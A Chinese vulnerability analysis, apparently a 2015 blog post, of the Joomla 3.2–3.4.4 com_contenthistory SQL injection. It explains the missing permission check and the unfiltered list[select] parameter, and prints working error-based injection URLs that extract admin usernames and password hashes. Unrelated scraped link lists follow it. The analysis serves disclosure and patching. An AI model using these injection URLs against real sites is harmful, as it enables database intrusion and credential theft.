Joomla CMS 3.2-3.4.4 SQL注入 漏洞分析
RickGray · 2015/10/26 11:24
昨日,Joomla CMS发布新版本3.4.5,该版本修复了一个高危的SQL注入漏洞,3.2至3.4.4版本都受到影响。攻击者通过该漏洞可以直接获取获取数据库中敏感信息,甚至可以获取已登陆的管理员会话直接进入网站后台。
0x01 原理分析
在 Joomla CMS 中有一个查看历史编辑版本的组件(com_contenthistory),该功能本应只有管理员才能访问,但是由于开发人员的疏忽,导致该功能的访问并不需要相应的权限。通过访问 /index.php?option=com_contenthistory 可以使得服务端加载历史版本处理组件。程序流程会转到 /components/com_contenthistory/contenthistory.php 文件中:
#!php
<?php
defined('_JEXEC') or die;
$lang = JFactory::getLanguage();
$lang->load('com_contenthistory', JPATH_ADMINISTRATOR, null, false, true)
|| $lang->load('com_contenthistory', JPATH_SITE, null, false, true);
require_once JPATH_COMPONENT_ADMINISTRATOR . '/contenthistory.php';
复制代码
可以看到该组件加载时并没有进行相关权限的监测,而 Joomla 中,一般的后台调用组件 (/administrator/components/下的组件) 都会进行组件对应的权限检查,例如后台中的 com_contact 组件
#!php
if (!JFactory::getUser()->authorise('core.manage', 'com_contact'))
{
return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));
}
复制代码
但是,程序在处理 contenthistory 组件时,并没有进行一个权限检查,程序初始化并设置好组件相关配置后,包含文件 /administrator/components/com_contenthistory/contenthistory.php,其内容如下:
#!php
<?php
defined('_JEXEC') or die;
$controller = JControllerLegacy::getInstance('Contenthistory', array('base_path' => JPATH_COMPONENT_ADMINISTRATOR));
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
复制代码
程序初始化基于 contenthistory 组件的控制类 JControllerLegacy,然后直接调用控制类的 execute() 方法,在 execute() 方法中,会调用其控制类中的 display(),代码位于 /libraries/legacy/controller/legacy.php:
#!php
public function display($cachable = false, $urlparams = array())
{
$document = JFactory::getDocument();
$viewType = $document->getType();
$viewName = $this->input->get('view', $this->default_view);
$viewLayout = $this->input->get('layout', 'default', 'string');
$view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));
// Get/Create the model
if ($model = $this->getModel($viewName))
{
// Push the model into the view (as default)
$view->setModel($model, true);
}
(...省略...)
if ($cachable && $viewType != 'feed' && $conf->get('caching') >= 1)
{ (...省略...) }
else
{
$view->display();
}
return $this;
}
复制代码
处理程序从传递的参数中获取 view 和 layout 的参数值进行初始化视图,并且调用 $model = $this->getModel($viewName) 加载对应数据模型,最终会调用 $view->display() 函数进行视图处理。
Joomla 新版本 3.4.5 中修复的SQL注入漏洞涉及的是历史查看操作,也就是 view=history 时的程序处理会导致注入。在程序进行数据提取时,会进入 /administrator/components/com_contenthistory/models/history.php 文件中的 getListQuery() 函数:
#!php
protected function getListQuery()
{
// Create a new query object.
$db = $this->getDbo();
$query = $db->getQuery(true);
// Select the required fields from the table.
$query->select(
$this->getState(
'list.select',
'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
)
)
->from($db->quoteName('#__ucm_history') . ' AS h')
->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))
// Join over the users for the editor
->select('uc.name AS editor')
->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id');
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering');
$orderDirn = $this->state->get('list.direction');
$query->order($db->quoteName($orderCol) . $orderDirn);
return $query;
}
复制代码
注意下面这段SQL语句构造部分:
#!php
$query->select(
$this->getState(
'list.select',
'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
)
)
->from($db->quoteName('#__ucm_history') . ' AS h')
->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))
复制代码
其中 getState() 函数用于获取模型的属性和其对应的值,其函数定义位于 /ibraries/legacy/model/legacy.php:
#!php
public function getState($property = null, $default = null)
{
if (!$this->__state_set)
{
// Protected method to auto-populate the model state.
$this->populateState();
// Set the model state set flag to true.
$this->__state_set = true;
}
return $property === null ? $this->state : $this->state->get($property, $default);
}
复制代码
然后会调用 populateState() 函数来初始化参数值和提取并过滤某些参数,在 contenthistory 组建中定义有自己的 populateState() 函数:
#!php
protected function populateState($ordering = null, $direction = null)
{
(...省略...)
// List state information.
parent::populateState('h.save_date', 'DESC');
}
复制代码
函数最后,会调用父类的 populateState() 函数,因为该数据模型继承于 JModelList,所以父类相关代码位于 /libraries/legacy/model/list.php 中,而在父类该函数的处理中会解析请求中传递的 list[] 参数,解析并过滤预设键的值,但是却忽略了 list[select]:
#!php
protected function populateState($ordering = null, $direction = null)
{
(...省略...)
// Receive & set list options
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
{
foreach ($list as $name => $value)
{
// Extra validations
switch ($name)
{
case 'fullordering':
(...省略...)
case 'ordering':
(...省略...)
case 'direction':
(...省略...)
case 'limit':
(...省略...)
default:
$value = $value;
break;
}
$this->setState('list.' . $name, $value);
}
}
(...省略...)
复制代码
而传递 list[select] 参数值最终会被解析到上述组件视图进行处理时 SQL 语句构建中的 list.select 里,从而导致了注入。
0x02 漏洞演示
通过上面简单的分析,已经知道了受影响的 Joomla 版本中,contenthistory 组件访问不受权限的控制,并且当进行 view=history 请求时会解析请求参数中 list[select] 的值拼接到 SQL 语句中。下面是该漏洞的简单验证和利用方法。
1.漏洞验证
http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&list[select]=1
因为在进行 SQL 语句拼接的时候,获取了 list.ordering 进行数据查询中的 order 操作,若不提供默认会将其设置为数据进行处理,相关处理位于 /libraries/joomla/database/driver.php 的 quoteName() 函数中。
因此,访问上述构造的URL,服务器会报错:
2.漏洞利用
因为在 SQL 语句拼接时,程序框架针对每个 from 或者 where 操作进行了换行处理,所以这里并不能使用 #、-- 等符号来注释掉后面的语句,只能通过报错注入进行数据提取。但是语句的成功执行有一定的前提条件,也就是传递的 item_id 和 type_id 参数值必须于数据库中有效,同时传递 list[ordering] 参数 (空值即可),这样注入的语句才能够得到执行,从而进行报错注入。
这里经过多个漏洞站点的测试可以简单的使用 item_id=1&type_id=1,当然了为了准确性和有效性,可以通过爆破的方式来得到这两个参数的有效值,然后再进行注入操作。
(Tips:Joomla 中构造的 SQL 语句中 #_ 最终会在执行前被替换为表前缀)
下面是获取用户名/密码哈希的漏洞演示过程:
http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(),concat((select username from %23__users limit 0,1),floor(rand(0)2)) from information_schema.tables group by 2)x)
http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(),concat((select password from %23__users limit 0,1),floor(rand(0)2)) from information_schema.tables group by 2)x)
0x03 修复方案
- 从 github.com/joomla/joom… 获取最新版本进行重新安装;
- 从 github.com/joomla/joom… 下载相应版本的补丁程序进行升级;
0x04 总结
就 Joomla CMS 的用户量来看,目前还有大量的站点的数据正受到该漏洞的威胁。该漏洞的产生本质上是由于访问控制的缺失和过滤不严格造成。访问控制的缺失导致本应只有管理员才能进行访问和加载的 contenthistory 组件能够被任意用户访问和加载,而参数的过滤不严格,导致攻击者能够构造出恶意的参数到执行流中产生注入。
0x05 参考
Joomla CMS 3.2-3.4.4 SQL注入 漏洞分析的更多相关文章
- Beescms_v4.0 sql注入漏洞分析
Beescms_v4.0 sql注入漏洞分析 一.漏洞描述 Beescms v4.0由于后台登录验证码设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入. 二.漏洞环境搭建 1.官方下载 ...
- PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...
- DM企业建站系统v201710 sql注入漏洞分析 | 新版v201712依旧存在sql注入
0x00 前言 本来呢,这套CMS都不想审的了.下载下来打开一看,各种debug注释,排版烂的不行. 贴几个页面看看 感觉像是新手练手的,没有审下去的欲望了. 但想了想,我tm就是新手啊,然后就继续看 ...
- 【代码审计】五指CMS_v4.1.0 copyfrom.php 页面存在SQL注入漏洞分析
0x00 环境准备 五指CMS官网:https://www.wuzhicms.com/ 网站源码版本:五指CMS v4.1.0 UTF-8 开源版 程序源码下载:https://www.wuzhi ...
- 【代码审计】五指CMS_v4.1.0 后台存在SQL注入漏洞分析
0x00 环境准备 五指CMS官网:https://www.wuzhicms.com/ 网站源码版本:五指CMS v4.1.0 UTF-8 开源版 程序源码下载:https://www.wuzhi ...
- 【代码审计】大米CMS_V5.5.3 SQL注入漏洞分析
0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...
- 【代码审计】iZhanCMS_v2.1 前台IndexController.php页面存在SQL注入 漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
- 【代码审计】iZhanCMS_v2.1 前台GoodsController.php页面存在SQL注入漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
- 【代码审计】iZhanCMS_v2.1 后台存在多个SQL注入漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
随机推荐
- PTA | 1056 组合数的和 (15分)
给定 N 个非 0 的个位数字,用其中任意 2 个数字都可以组合成 1 个 2 位的数字.要求所有可能组合出来的 2 位数字的和.例如给定 2.5.8,则可以组合出:25.28.52.58.82.85 ...
- scratch 如何改变变量的作用域
在新建变量的时候,有个选项是“适用于所有角色”还是“仅适用于当前角色”.通常称前者为全局变量,所有角色都可以访问到这个变量:后者,称为局部变量,只能在当前角色里访问到这个变量.例如,在使用克隆功能时, ...
- JavaScript中||和&&的运算
一般来讲 && 运算和 | | 运算得到的结果都是 true 和 false ,但是 js 中的有点不太一样.当进行 a&&b 和 a| |b (如 1&&am ...
- 阿里云服务器扩展分区和文件系统_Linux数据盘
官方文档永远是最好的 https://help.aliyun.com/document_detail/25452.html?spm=a2c4g.11186623.6.786.5fde4656Ln6AO ...
- Linux基础篇,Shell
一.基本知识 Shell Script是一种脚本.可以用来极大的简化计算机的管理.在谱写shell script的时候,需要注意以下问题: 1. 指令的执行是从上而下. 从左而右的分析与执行: 2. ...
- Linux 磁盘管理篇, 目录管理(二)
格式化档案系统: mke2fs 列出文件系统的整体磁盘使用量 df 评估文件系统的磁盘使用量 du 查看Superbl ...
- 在linux中使用mailx发送邮件
[root@ml ~]# yum -y install mailx #安装 [root@ml ~]# vim /etc/mail.rc 在最后一行添加(我这里使用的是qq邮箱): @qq.com ...
- Tomcat5启动流程与配置详解
标签:配置 tomcat 休闲 职场 原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://zhangjunhd.blog.51cto. ...
- Daily Scrum 12/10/2015
Zhaoyang: Finished the implementation of query suggestion UI; Yandong: Changed the fusion algorithm ...
- 虚拟机体验NAS私人云全揭秘:序言——虚拟机体验NAS私人云缘由
"世界在新冠肺炎疫情后将永远改变",对于2020春天在全球蔓延的新冠肺炎疫情,美国前国务卿基辛格做了这样的评价.确实,也改变了我们.春节期间,本着少添乱的原则,响应国家号召,自我隔 ...